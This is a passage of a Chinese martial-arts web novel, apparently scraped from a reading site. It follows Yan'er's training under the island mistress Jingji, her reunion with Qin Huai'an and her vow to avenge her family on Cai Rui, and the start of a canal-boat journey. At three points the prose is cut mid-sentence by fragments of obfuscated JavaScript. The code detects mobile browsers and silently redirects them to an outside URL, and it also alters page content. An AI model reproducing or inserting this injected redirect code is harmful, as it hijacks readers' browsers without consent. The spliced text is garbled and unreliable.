这女人懒洋洋地倚在树干上,身材高挑,姿态袅娜。 她薄纱掩面,露出的眉眼甚是惊艳,额前着斜红花钿,白发似飞瀑。头簪九叉红珊瑚,身着飞鹤苍松绣锦,腰束三尺红绫,虽不似时下盛行的打扮,却好生华丽。 雁儿觉得她有些眼熟,看了良久才答道:“我要渡海到对岸去……” “即便真渡了海,又欲如何?宁做太平狗,不做乱世人,外面都打翻天了。” 她声音悦耳,言辞却犀利。雁儿不知怎的被慑住了,竟抖落出实话:“阿敏说,我们要坐船去一个叫高丽的地方,然后去大真国……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761655|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “大真国?” 女人眼中闪过一丝愕然,随后冷笑道:“蒲鲜万奴那山大王年初就被蒙人杀了,哪里还有什么大真国?你们去了也是送死。” 雁儿闻言眼眶渐红,泪光闪闪,搅得女人有些不耐烦。她手腕一转念了声“收”,雁儿竟真的将那眼泪憋了回去。 “看来这姜老太挺够意思,省吃俭用地把你喂得像个小扑满……”女人弯下腰,捏着她的脸蛋儿道,“以后少吃点儿!” 面盘被女人拿捏着,雁儿懵懵地点了点头。 “姜老太年纪不小了,你要知恩图报,懂点事儿。一会儿回去将院里的无花果都摘了!” 雁儿望着她,再次点头。 “成日爬到这么高胡思乱想,看来是闲得。你家东边茅屋里全是学究留下的书,姜老太识字,趁她眼还没瞎,赶紧求她教你认字读书,别整日听曲老头胡诌些没用的!” 女人说话快慢有序,总是先婉约讲理,再豪放命令,将雁儿唬得一愣一愣地,只能乖乖点头。 “还不快去!” 她撩起腰间红绫照着雁儿屁股一甩,吓得雁儿撒腿就跑。 跑了两步回头再看,那女人早已不见踪影,整个山坡只剩孤零零的一棵松树。 ------------------------------------- 雁儿回去后,倒真的照那女人的话做了——少吃饭、多干活、写大字。 渐渐地,她已鲜少被午夜梦魇所困,但还是会去山坡那松树下张望。只是不知不觉间,她期待的已不是古栈桥,而是那个神出鬼没的女人。 她暗自笃定,那个女人,就是救了自己的镜姬。 村中偶尔也能遇见身穿月白衣衫的罗芒宫人,雁儿也曾凑上去问东问西。但她们总是笑吟吟地摸摸雁儿的头,一句话也不答,仿佛仙女碰见只小兔子。 村里人同她一样,对玉溜山上的罗芒宫充满了好奇。大伙儿只知这罗芒宫是唐时修建,里面最高的楼是古镜阁。阁中据说有一面能通晓世间万物的神镜,名曰“罗芒镜”,这宫殿正是以此命名。 至于宫主镜姬,有人说她贵气逼人、曾有凤鸾沙船傍身,定是前朝下落不明的贵妃。有人说她鹤发童颜、实则生年过百,定是山上太岁成了精。还有人说她偏居海岛、又能飞身过海,定是东海的鲛人遗珠…… 总之镜姬被传得神乎其神,但没人知其尊姓大名、何方人士、贵庚几何,只道她内功高深、精通医术,又上知天文地理,下晓鸡毛蒜皮。 雁儿倒是觉得,镜姬这大恩人,说不定就是当初驮着自己过海、幻化成人形的白泽。 待她再次见到女人之时,已是一年半后了。 那日晌午,雁儿给菜圃浇完水,一回头就见那女人坐在无花果树上,也不知看了自己多久。 她喜出望外,跑到树下,仰头道:“阁下可是大恩人镜姬啊?” “随你怎么叫……” 许久不见,女人依旧薄纱掩面、白发华裳、语气不凡。 她既已默认,雁儿赶忙跪下道:“雁儿还未感谢镜姬舍命相救,大恩大德没齿难忘!” “谁舍命相救了!” 镜姬噗嗤一声笑了,一挥衣袖落下树来,“我这不是好端端地站在你面前?姜老太把你教得不错,看来我是找对人家了。” 雁儿见镜姬落地无声、纹丝不动,想必正是传说中的轻功,登时跪下磕了个头,恳求道:“雁儿终于将您盼来了!求您收我为徒,教我武功!” 这小女娃竟如此莽撞,劈头盖脸就要拜师! 镜姬眉头一皱,道:“你一丫头片子,学那拆家的本事作甚?” “实不相瞒,雁儿家人下落不明,大仇未——” “你哪个家人托梦要你报仇了!” 镜姬厉声呵斥,但见其目光坚定,又开始四下徘徊。 树荫下,雁儿长跪不起。镜姬思忖良久,方道:“这武功也分内功和外功。内功为源,外功为根,所谓内修一口气,外练一身功。但武术其义,舞戈为‘武’,止戈为‘术’,即化干戈为玉帛。‘武’可以他人教,‘术’要靠自己悟……” 长篇大论中,她瞥见这小妮子一脸茫然,索性停下说教,气道:“意思就是——你要是想学来打架报仇用,本宫教不了你!但你若是想修身养性、自保逃命的话,现在便可叫一声‘师尊’!” 20.巉岩飞瀑身下过,俯瞰蓬瀛海天阔(下) “师尊!” 雁儿大喜,“扑通”一声跪地,连磕三个头,抓住时机保证道:“雁儿不想打架,只想学轻功!师尊赶快教我吧,不然都见不到师尊的面!” 镜姬想了想,应允道:“好,既然你这么干脆,那本宫也不浪费时间了,今日便带你入门。但本宫可没那闲工夫,你入门师父另有其人。” 话音未落,镜姬从树上扯了根枝条,比划两下让雁儿站起来,点了点她小腿内侧,又敲了敲她天灵盖让她蹲低一点。 “不许动,端好了,这叫‘马步’。不管你练什么、何门何派,下盘功夫都是基础。以后给我每天扎一个时辰!” 而后,她又指向面前草丛,道:“看见那蚱蜢了吗,今后它便是你二师父!你追它,它就教你。它怎么跳,你就怎么跳。跳的动作、时机、方向都要看清楚了,然后每天给我练上个三百次!” 雁儿连连点头,镜姬手中枝条又挥向天边的燕鸥。 “那是你三师父,你要学它起飞时的步伐、趾掌如何点地、双脚如何腾空。另外还要学它盘旋时的身形,收敛与松弛并行,内气上提,乘御外气。每天给我照猫画虎地绕着山坡跑三圈!” 雁儿再次点头,装模作样地朝那二位拜了拜。 最后,镜姬走到菜圃里,用树枝挑起菜叶上一只大青虫道:“至于这位,便是你的膳食师父。以后它吃什么,你就吃什么!” 雁儿终于不再点头。 “轻功嘛……”镜姬赶在她狡辩前抢道,“最重要的是你得‘轻’啊!” 雁儿咬咬牙答应了,又问:“那我跟这几位师父要练到什么时候?” 镜姬点了点身旁的桃树:“等你什么时候能一步坐上这桃树,我就教你轻功第一层。不许偷懒,我在上面看得一清二楚!希望下次再见,是我坐山顶上,你坐桃花间。” 说罢,她踏树上房,再次消失得无影无踪。 从那以后,村里人总能看见一个饿得面有菜色的女娃,成日上蹿下跳地追蚂蚱、赶飞鸟,嘴里一口一个“师父”地喊着,隔三差五还往树上撞…… 明眼人知道这女娃将来是要飞升罗芒宫的,不明白的还以为是中了邪。 好在雁儿资质尚可又肯下功夫,不出一年便坐在了桃树的枝桠上。 桃花未开,树下冰雪尚未消融。她躺在枝桠间,得意地悠着脚,冲远处高山喊道:“师尊!该下山了!” 未等山里回声游荡完多久,镜姬现身了。 这一年来她虽不曾下山,却时时刻刻关注着这个娃娃徒弟,一举一动皆心知肚明。 雁儿许久不见镜姬,跳下树扑过去抱住了她,脑袋在她幽香的锦衣上蹭了蹭:“师尊终于来了!还以为师尊不要雁儿了呢!” 蓦地被抱住,镜姬浑身一激灵,却也没推开她。 “既然你坚持下来了,那就该为师出场了。但另外那三位还是你师父,仍要继续同他们学。练功枯燥,常年有恒,有始无终。你若是以为用功了一年就可以休息,那为师也可以回山上休息休息了。” 雁儿深鞠一躬,道:“雁儿习武并非心血来潮,今后定当加倍努力!” “好,这句话莫对我说,要对你自己说。”镜姬暼了眼她满身伤痕,“另外,你可知为何摔了一身伤?” 雁儿思索一番,道:“徒儿之前一直怕。先是怕自己做不到,到跟前了又怕摔,小试牛刀后又怕高。等摔惯了以后,觉得其实最坏也不过受点皮肉之苦,这才放手一试,成功了便知道实际并不难。” “悟性还不错。”镜姬会心一笑,随即又板起了脸,“不过这才哪跟哪儿啊!我要教你的可不是一般的轻功,而是‘太虚九步’。练成第一层,应能腾地三尺,日行百里,着瓦不响、落地无声。” 她领着雁儿走出半亩园,朝山门方向漫步。 “修行之人,最重要的是内丹之术。”她继续道,“修炼内丹的第一步便是筑基,而筑基的重中之重,是要学会灵活运气。所谓‘顺行成人,逆行成仙’,吸时收腹,呼时鼓腹,起吸落呼,攻呼守吸。力由气送,关闭声门,腹内增压,气沉丹田……” “师尊,啥叫‘腹内增压,气沉丹田’呀?”雁儿问。 “就是同你出恭时一样!” 雁儿乐了,又问:“那第二层呢?” “太虚九步第二层,应如神猴跃林、飞燕掠空,来无影、去无踪。我宫人们皆在这第二层徘徊不前。”镜姬道,“但凡她们有所彻悟,便可达到第三层,能冯虚御风、登萍渡水、踏雪无痕。” 雁儿听罢,好生羡慕,转念又想到那古栈桥,问道:“若是想漂洋过海呢?” “你怎么不上天呢!”镜姬白了她一眼。 说话间,二人已来到山门前。所谓“山门”,实际就是块一人多高的巨石,浑圆厚重,上书“飞升蓬瀛”四个大字。 一串凿于山体间的石阶自巨石后盘旋而上。石阶残破不堪,覆满苔藓泥淖,无数山石乔木砸落上方。地崩山摧后,又有天梯石栈。 极目远望,一道瀑布自上方山崖倾泻,冲断了半山腰处一大段石阶,其间水气朦胧,其下深涧无底。 镜姬背靠巨石,对雁儿道:“你先不要想得那么远。你的第一关,是沿面前的道路上山、登顶罗芒宫,即‘飞升蓬瀛’。你若身形轻,便能轻松跳上这巨石,下盘稳,便不会在泥苔上摔跤,飞得远,便能越过那瀑布深涧。最后是否能成,正如你方才所言,不能怵。” ------------------------------------- 寒来暑往间,雁儿已是十四岁年纪,身材修长,比姜老太高上近半头。 这期间,镜姬每隔一两个月便下山来指点一番。雁儿内丹修为小有成效,筑基已稳,即将来到“初关”。以往秋天摘无花果还需要绑绳架梯,如今只需两步就能跃上树梢,踏遍枝头也无一叶掉落。 终于,她再次来到山门前,准备尝试“飞升”。 前半段的巨石和泥苔完全阻挡不了她的去路,颇有上九天揽月之势。可到了瀑布跟前才发现,这石阶竟完全被瀑布冲断,中间相隔十丈远,光是那轰鸣和水气就给了她个下马威。 左思右想,她打了退堂鼓,悻悻地回去了。 当晚,梦魇再度缠身,梦中的她又一次被红衣兵追赶到了那骇人的海滩。然而这一次梦醒后余味,不是思念,而是恨——恨自己总是被人追赶,却无力还击。 她蒲鲜归雁好歹也是猛安谋克的后代,父祖皆是纵横江湖的大侠,自己又师承世外高人,如今却被一个瀑布吓得打道回府,更何谈渡海寻亲? 于是第二日天刚亮,她轻装上阵,脚上缠了草绳,再一次站到了瀑布前。 师尊教的口诀在脑中此起彼伏,最后定在了小时候桃树旁的对话—— 顺行成人,逆行成仙。最坏不过受些皮肉之苦,一切皆是心魔作祟! 真气上提,她往后倒了几步,随后飞奔上前倾力一跃,待下落之时脚尖在水流上一点。 再度睁眼的瞬间,她已然落在了对面的石阶上。回头一看,离石阶边缘只有三寸远。 长舒一口气,她继续向上前行。临到山顶时,路面开阔起来。 此间青松退避,飞鹤掠空,巍峨的罗芒宫直入眼帘——仙台琼阁坐于云雾之上,雕栏玉砌有花鸟伴其间,天上宫阙也不过如此! 镜姬与两名宫人早已在山巅恭候。雁儿喜不自胜,跑上山巅回首张望,只见脚下云蒸霞蔚,川流不息,远处海天一线,金鳞烁烁。 “恭喜秦小妹飞升,宫主已恭候多时了。” 两名宫人上前道贺,将一件月白色罗衫披在雁儿身上。镜姬就站在不远处,依旧锦衣飘绫。 “既已飞升,你便来到了太虚九步第三层门前。” 她遣走宫人,走到雁儿身边,“第一层勤学苦练便能达到,第二层需有悟性和天赋。而第三层靠的……更多是机缘。” 师徒二人并未进入宫殿,而是往一侧山林中走去。 “万物皆有外张之力,你要会洞察周身之物而借其力,要知以何借力、何以借力。”镜姬道,“万物又有气周于其形。若你速、力得当,则可御气成形,既能聚其气而击他物,亦可借其力而轻己身。” 边讲着,镜姬随手揪了根草。反手一挥间,前方头顶枝桠“啪”地落下,而她手中的草叶已消失不见。 “意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770328|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是——只要用之有道,弱水能载舰舶,苇草可穿磐石。” 二人沿坡而下,来到了一处急湍的溪流处。向下一望才知,这溪流正是方才挡了雁儿去路的瀑布。 瀑布流水后,是一掩藏的土洞,约莫十余尺见方,乃人工挖掘。洞外冰雪尚未消融,洞内却花草丛生、根须遍布。中间有一半人高的草叶堆,挡着不知通向何处的黑色甬道。 镜姬站在那草叶堆前,道:“你接下来要做的,是炼气化神。运大小周天,通三关,凝精、气、神为一。当然,这内丹之道够好几代人悟个几辈子,可凡人在世不过几十个春秋。所以……不妨走点儿捷径。” 她拨开草叶,里面一木桩大小的东西自地下拔起。这东西似玉非玉,似肉非肉,似木非木,褶皱横生,泛着油光。 雁儿从未见过此物,但觉它好似有生命一般,遂后退几步。 镜姬拿着匕首,照那活物边角处割下两片,将草叶填了回去,好生盖住那物。 “这便是捷径之一的肉灵芝,即是常人所说的‘太岁’。以后每月你来此削上一小片,削完后盖好草叶,沾酒火炙后食用。”她正色道,“此物生长缓慢,虽然味佳似肉,但切记不可多食,以免破了风水。” 取得肉灵芝后,镜姬又取出一火折,二人沿那漆黑甬道下行。几十步后,黑暗中渐渐流光异彩,如漫步星河。原来两侧皆是漆黑石壁,石壁上生着成片的云母。 “这是捷径之二,内服可轻身形,外敷可驻容颜。”镜姬掏出一个小瓶,将那云母细细刮下,装了满满一瓶。 “好了,该拿的拿了,此地机密,不可对第三人告知。”镜姬掸掸衣袖,破天荒地揽了揽雁儿的肩膀,“我们回去吧,向师祖敬香。从今往后,你便是清净派第三代传人。” 回到罗芒宫住下后,雁儿方知这罗芒宫外表看起来富丽堂皇,可宫里的生活却全靠“道法自然”。 以往,山下村民总是好奇——这偌大的宫门不供香火、不纳捐赠、不收门徒、不征田租,只靠宫人一年半载治病换来的三瓜俩枣,究竟如何维持? 现下她算是明白了。 这宫里本就没多少人,皆为女子。平时靠山上的花果草叶为食——饿了吃几个果子,渴了饮几滴露水,佐以茯苓、黄精、灵芝等仙草。山泉洗澡,松木取暖,平时不施粉黛,鸟羽做钗,劳作时麻衣赤足,休憩时衣不蔽体。 家人的样貌在她脑海中已渐渐模糊,但登州城的梦魇仍历历在目。 然而山上与世隔绝,除了偶尔能通过飞鹤传书窥探些世间风雨,生活甚是乏味,生不出七情六欲,也容不下恩怨夙仇。 时间一晃,数年已过。姜老太故去,幸好师尊还在。 这日清晨,雁儿打完座后照例去见镜姬,却四处不见其踪影。她跑到仙台向山下张望,见海岛尽头的滩涂上,赫然停泊着一艘大船! 自踏入仙音岛以来,她从未见有船舶停靠,于是赶忙飞身下山,偷偷摸摸来到了海滩上,躲在礁石后打探。 滩涂上站着一个矮胖的褐袍道士,一个瘦高的黑衫秀才。另一位身着华服背对雁儿的,正是镜姬。 她将一宝盒交给秀才后,三人你一言我一语地小声谈话。雁儿蹲了小半个时辰,腿都麻了,也没听清些什么。 甫一起身,但听镜姬破口大骂:“竖子果真贪得无厌,敢在本宫面前得寸进尺!先师遗训,令我等清静修为,不涉尘务。那昆吾剑与仙音岛毫无干系,何故要本宫出山?要怪只怪龙门派后继无人!” 说罢,她怒甩衣袖,转身离去。 这“昆吾剑”三字如雷贯耳,雁儿闻声惊愕不已,逐渐淡忘的梦魇再度笼罩。 此时镜姬正好经过,微微侧目便看到了礁石后的她。 四目相对间,雁儿百口莫辩,怎料镜姬只冲她点了点头,做了个“珍重”的口型。其眼神意味深长,而后又好似什么都没发生般,扬长而去。 另外两人已上了船,雁儿仍然不知师尊是何意思,只知当大船的铁锚卷起时,她心头一阵莫名的悸动。 或许是渡海寻亲心切,又或许是不愿大好年华困于小岛,她心一横,从礁石后飞奔出来,终于赶在大船起锚之际,跃入船内。 21.潮来别君二十载,著眼沙头雁归来(上) “雁儿,真的是你!” 骆马湖畔,漕船被落霞嵌上了金边,潮水不断冲刷着岸边白沙头,险些就要没过久别重逢的故人。 燕娘望着眼前的“怀安哥”,见曾经老实巴交的少年人,如今已是伟岸挺拔,人过中年。 声音容貌虽已改变,但称呼不变,一声“雁儿”激得她眼中水气涌现,一边连连点头,一边抿嘴痴笑,像是个孩童,终于得到了日思夜盼的礼物。 是了,她是当年海边冻得瑟瑟发抖,以为大限将至的雁儿。是仙音岛飞升蓬瀛,却被大浪拍昏了头的秦归雁。也是林家班技压群芳、名冠东南的燕娘。 这些年来,她换了许多姓名,可只有在秦怀安面前,她才坚定了自己是谁。 她本叫蒲鲜哈儿温,女真语里“鸿雁”的意思。祖父是大金国最后一位猛安孛堇蒲鲜凤鸣,父亲是“霜锋白刃”蒲鲜玉鹏,而她,蒲鲜归雁,是栖霞山庄唯一的继承人。 “这便是阿敏所说的‘月落参横,无——’” “无远弗届!”秦怀安仰天长叹,“二十一年了!雁儿,你去哪里了?” 燕娘强忍着眼泪:“我哪里都没去,一直在滩头等你回来,直到昏睡过去。再醒来时,已被道家高人接到海外仙岛。明明隔海相望,却怎么也回不去了……” “我找了你三天两夜,四处打听。问附近渔民,他们说那日潮汐最大,兴许是被浪卷走了。问驻防军屯,又被告知那海岸本是金军水师要地,到处埋着震天雷,兴许是你乱走触了雷,就、就像当年我们的马车一般……” 原来是大水冲了龙王庙,自家种的雷火埋了自家人,道是无情又无奈。 说话间,秦怀安近前一步,“但我偏不信邪,料理了后事又顺着南迁的流民队伍挨个询问,一路打听到了扬州,依然不见你踪影。我以为你真的已经……” 他想细细端详一番出落成人的雁儿,却始终不敢直视她的双眼。 白云苍狗,世事无常。二人如无根浮萍,流散天涯,再相逢时,憋了二十载的话并没有那么轻易能说出口。 良久,燕娘问道:“所以云鹰哥可有消息?” “当年我原路折返,师兄和那群红衣兵已经不在了。我又循着马蹄印回到了登州城,一路上并无血迹,想必是被红衣兵带走了,后来也再未听说过他的下落,恐怕……” 秦怀安没有继续说下去。 燕娘眼眸低垂,脑海中闪过滩头之上那骇人的血泊,又问:“我娘她……可有入土为安?” “当年我回到海滩时已是第二日晌午,大潮已涨,师娘的尸身……已被潮水带去不知何方。好在马车上的大件辎重在泥沙中扎得深,我捞上来几个箱子,师父最珍爱的琴,还有师娘的嫁衣都还在,于是我在海岸林中找了处地方埋起来,为她草草立了个衣冠冢。” “那……那我爹他们呢?”燕娘声音颤抖,明知他们凶多吉少,却还是问了。 秦怀安面色苍白,垂首蹙眉,双拳紧握。 他内心挣扎了一番,觉得雁儿已心智成熟,理应着实相告,便咬牙切齿道:“蔡锐那厮说金贼当诛,将师父、师公,还,还有我爹三人……曝尸城门,示众三日……” 虽早已做了最坏的设想,但秦怀安说出的每一个字,依然如利刃般扎在燕娘心肉上。 往上不说,她蒲鲜家这两代人皆生在登州、长在登州,一直安分守己、乐善好施。蒲鲜凤鸣一诺千金,几十年来从未扩地蓄奴,凭何谓之“贼”?蒲鲜玉鹏更是自小穿汉服讲汉话,醉心诗棋琴剑,何来金、汉之别? 栖霞山庄保境安民在所不辞,家族多少男儿命折沙场。太平时人人敬他们一句“庄主”、“少侠”,大厦倾颓后竟落得这般下场。 思至此处,她悲恸不已,再也无力支撑,瘫坐在沙头涕泪交垂。 “他们一生无愧于人,青天可鉴!” 秦怀安在她身边坐下,擦拭着她眼角,“你放心,我寻你三日无果,便把散落的物件拿去变卖了,正好在城门清理前赶到。我将师父、师公、和我爹的尸首从团头那里赎回来后,找了个板车将他们一路拉回山庄,在后山找了个僻静的地方下葬了。” 秦怀安说得轻描淡写,燕娘却越听越难受——他当年也只是个半大的少年啊! 当时的她在半亩园躺着热炕、吃着饱饭,而她的怀安哥正在海对岸饿着肚子找她。东奔西跑,只身拖着三个成年人尸身,一路走回了栖霞山! “是我的错……都怪我当年说错了话,让蔡锐那厮起了疑心……本来这一切都不用发生的!本来我们一家人可以团团圆圆的!都怪我,我……” 她拽着他的衣袂,埋首其间,啜泣不已, “怀安哥,我对不住你……” “你当年丁点儿大,这种恩怨何必往自己身上揽?若真要论,是我对不住你,雁儿。若是光阴逆转,我无论如何也不会将你一人留在海滩上。这二十年里,我无数次午夜梦魇,醒来恨透了自己,恨自己把最后的家人弄丢了。” 他像小时候一般捋了捋她的发髻,“还好苍天有眼,你不仅平安长大,还轻功了得!方才我都没察觉你来,想必那世外高人定是待你不薄。” 燕娘回道:“我有姜老太养,有师尊教,如今在林家班有钱挣,怀安哥又何必自责?” “林家班?”秦怀安带着些许鄙夷道,“就是那个路岐人戏班子?你武功造诣不俗,怎地委身做一戏子?可有受苦?” 燕娘心头一紧,手不自觉地摸向了脚踝上的金环。 隔着裙摆和靴袜,这玩意还是如此冰冷、沉重、又膈应,将人似牛马一般牵制得浑不自在。面对唯一的家人,她欲言又止,只苦笑着摇了摇头。 “女儿家抛头露面终归不好。”秦怀安道,“待回扬州,你可愿跟我过?我家中尚有一间空屋,两个孩子进了学堂,你嫂子也正愁白天没人解个闷呢!” 四方宅院,几株花草,一缕炊烟,檐下有人一起煮茶对谈,出门在外总有一盏灯火为她而亮——这样的日子她奢望已久,但现在还不是时候。 “我下山入世乃一意孤行,就是为了寻你。如今亲眼见到你幸福安满,我也该回去找师尊领罚了。” 燕娘道,“哥哥方才问我有没有受苦?有,怎么会没有!师尊她老人家甚是严厉,好脾气全给了她养的那群白鹤,倒教我跳殿顶上清理那些扁毛畜牲的粪便。冬练三九,夏练三伏,她一天都没让我闲着,动不动就按着我的头让我抄经书,十几年如一日,还不让我吃好东西!” 讲到师尊时她破涕为笑,心中甚是思念。 秦怀安听罢反倒放了心,笑道:“我们久别重逢,若不是我公务在身,定要告病几日,好好招待招待你,把这些年错过的吃食都补回来!不过说到公务……我与扬州陆氏素无来往,陆园那小少爷却莫名其妙地为我牵线搭桥,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777737|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是受你所托?” 蓦地从回忆中被拉回,燕娘这才想起来自己是跟着招安队伍来的,那漕船就停泊在几十丈开外。 “不错,正是我。” 她放下秦怀安的衣袖,坐直身子,“我偶然听闻你人在扬州,还做了官,便想趁着戏班行至扬州时与你相会。到了扬州四处打听,得知陆、杨、黄、何家最有面子,而那陆家公子正好进了我的戏船,我又正好能帮到他。” “我一介武夫,又不是什么朝廷要员,你要见我,去宅子找我便可。有什么难处的话,写封书信也行,何必大费周章地把我架回山东相见?” 秦怀安略显担忧,“雁儿,你是否别有所图?” 夜色将至,明月初升,四下蛙鸣阵阵,湖上漕船亮起了稀疏的灯光。 燕娘望着那灯光沉默了许久。 她拿起帷帽,起身走了两步,再转身时目光如芒:“我看你这二十年来,师父的佩剑不曾离身。不知师父教的剑法,你可有怠慢?” 未等对方答话,她长袖一挥,将手中帷帽甩了出去,直逼秦怀安面门。 秦怀安一惊,猛地抽出腰间白玉长剑竖于身前,嘴上夸了句“妹妹内功不错”,手上一个大力开合,将帷帽原路拨回。 那帷帽如旋转的利刃,来势汹汹,燕娘提气腾空,左脚踏上帽檐,右脚用金环一踢,那帷帽以更迅猛的劲道飞回。 秦怀安左掌抵着剑尖接住了帷帽,随即脚下画弧,双臂随着帽檐周旋,既没将那帷帽打飞,也没让其落地,更未刺破那长纱。须臾间,他反拨剑刃,将帷帽打向了空中。 帷帽在空中没了力道,白纱在黑夜中翻飞,如深海石镜。 燕娘见状,纵身一跃,凌空夺过了那帷帽。将将立住身形,却见十步开外衣袂旋转,秦怀安人与剑连成线,如一根银针夺面而来。 待她定神后,手中帷帽已被刺破,而秦怀安则站在她身后,“簌”地一声长剑入鞘。 “只是试探下你这些年有没有偷懒,怀安哥倒是认真了……”燕娘摸着帽顶的窟窿道。 她虽然输了招式又赔了帽子,却甚是欣喜:“这可是‘栖霞剑法’?我剑法不精,更不记得家传剑法什么样子,只记得你最后这招,像极了阿敏。” “长风破空。” 秦怀安整了整衣衫,“当年师父杀入红袄军时,用得就是这招,那也是我们最后一次见他。可惜栖霞剑法三十六式我只学了一半,这区区十八招,我练了二十一年,从来不曾懈怠。可惜那另外一半,怕是永不见天日了……” 燕娘语气凌厉:“怕什么?对付几个红衣兵是绰绰有余了。” “原来你将我安排过来,是打算先行后闻啊!”望着意味不明的燕娘,秦怀安生出一丝不安与陌生,“妹妹,你究竟要做什么?” 见他未将往事抛于脑后,亦未懈怠师传,燕娘不再含糊其辞:“蒲鲜家向来视你如己出,我也将你当作亲哥哥,哪怕背逃师门也要来寻你。” 她正色道,“行善之人不得善终,而那孽障却依然行走于人世间!你我家人死得不明不白,我们无法侍奉膝前,但仍可尽忠尽孝!” 说罢,她将帷帽扣回头上,纱帘之下的双眸透出寒意,铿锵有力的声音在黑夜中分外清晰—— “秦怀安,经年的梦魇不会自行消弭。我要你助我夺回昆吾剑,亲手砍下蔡锐的人头,带回栖霞山庄祭奠我们的父祖!” 22.潮来别君二十载,著眼沙头雁归来(下) 头上蛾眉月当空,脚下的舟船随波轻摇,身旁的君实已然酣梦。 仕渊累得浑身酸痛,扒在船舷边,津津有味地窥视着远处的秦怀安与燕娘,见他们先是不即不离,接着秦怀安说了些什么惹哭了燕娘。 他在心头“啧啧”地数落秦怀安负心汉,再抬头时,那两人竟坐在了一起,还卿卿我我的。 吴伯出舱张了灯,他唤醒君实,进舱前一转身,月光下的两位又不声不响地打了起来! 不好!这两人一个关乎朝廷大计,一个掌握君实命数,可别弄出个伤残! 他急欲大声制止二人,却发现这二人并未拳脚相向,只是飞来飞去地踢帽子玩儿。 “蹴鞠有什么好看的……”君实睡眼迷蒙地瞥了远处一眼,用肩膀将目瞪口呆的小少爷拱进了船舱。 一炷香后,燕娘离开沙头,只留秦怀安一人在月色下郁郁寡欢。 她并没有回到原先所在的客船上,而是跳进了仕渊的漕船,坐在船尾不发一语。 刚刚看了场“风月大戏”的仕渊生怕她心情低落坏了正事,硬着头皮撩开船尾挂帘,不料一股寒气袭来。 “那个……”他将两块炊饼放在燕娘腿上,支吾道,“西窗夜雨虽不在,尚有那明月、清风——则撒呢!” 话音未落,吴伯将他扯回了舱内,拿起蒿杆点了点船舱棚顶:“孩儿们,起来干活喽!” 原本枕着麻袋休憩的船工们齐齐睁眼,坐直身来。 一位瘦猴似的伙计翻开窗板跃上了棚顶,抱着人字桅四处瞭望。两名膀大腰圆的力士弓身走到船首阳蓬下,剩下六名船工则留在船舱内整装以待。 豆大的烛火忽明忽暗地映在船工脸上,气氛甚是凝重。 君实警觉地坐起身来,见仕渊已经一溜烟儿地随着那瘦猴爬上了棚顶,而身边的力士们皆是凶神恶煞,也不敢开口多问。 倒是纯哥儿刚睡醒,见船没动,问了句:“我们到了?” 一位虬髯大哥瞪了他一眼,冷冷地回道:“其他船到了。明早益都押司来接秦大人和漕粮,他们得帮着卸货。我们的船还早着呢,连沂水都没进。” “沂水?原来真的要去我老家那边!”纯哥儿吐了一天,半条命都快没了,说话更是没有眼力见儿,“那直接奔北走不就入沂水了?” “砰”地一声,他脑袋上挨了一瓢,原来是进舱打酒的吴伯。 “你当这是你家后院水塘,想去哪儿就去哪儿?” 吴伯从麻袋后面翻出个酒坛子,舀了一瓢,又咂了一大口,“公文上写得明明白白,咱们是去益都的。按规矩,漕船在骆马湖一律换马走陆路,所以北接沂水的闸口是不会给我们放行的。” “啊?那难不成我们也要换马?”纯哥儿为难地挠着头,“可是我没骑过——” “砰!” 没等纯哥儿说完,吴伯又赏了他一瓢,“马马马!你谁啊你,还想骑马?怎么不让红衣兵八抬大轿地来接你啊!更何况最近局势紧张,他们就是瞎了眼,也不会让闲杂人等在粮饷附近转悠!” “嗐你这老头子喝高了把我当木鱼了是吧!”纯哥儿反犟道。 吴伯气急,摸了摸自己那秃了毛的脑袋,照着纯哥儿天灵盖又是一顿猛敲。 棚顶上的仕渊听见舱内如此热闹,滑下来打开窗板,正巧见纯哥儿双手抱头委屈道:“陆路不让走,水路又不开闸,难道要飞过去?” 仕渊抢过吴伯的瓢,也顺势敲了他一下:“那还等什么,你厉害你飞一个啊!” 纯哥儿被这“天外一击”直接敲懵了,君实在一旁偷笑道:“吴伯经验老道,经过的闸口比你走的路都多,想必自有法子。纯哥儿,你且听人家把话讲完。” 这话说得吴伯好生舒坦,他又舀了瓢酒道:“这事儿呢,也是赌运气。闸口晚班兵士一般二更天时睡觉,换值夜的人来。我下午让瘦猴儿在湖上望了一圈,北边沂水闸口处没有营房,要睡觉只能回南边宿迁闸口的营房睡,所以换班交接定是划船从湖上走。而我赌得便是他们离开闸口的时间!” 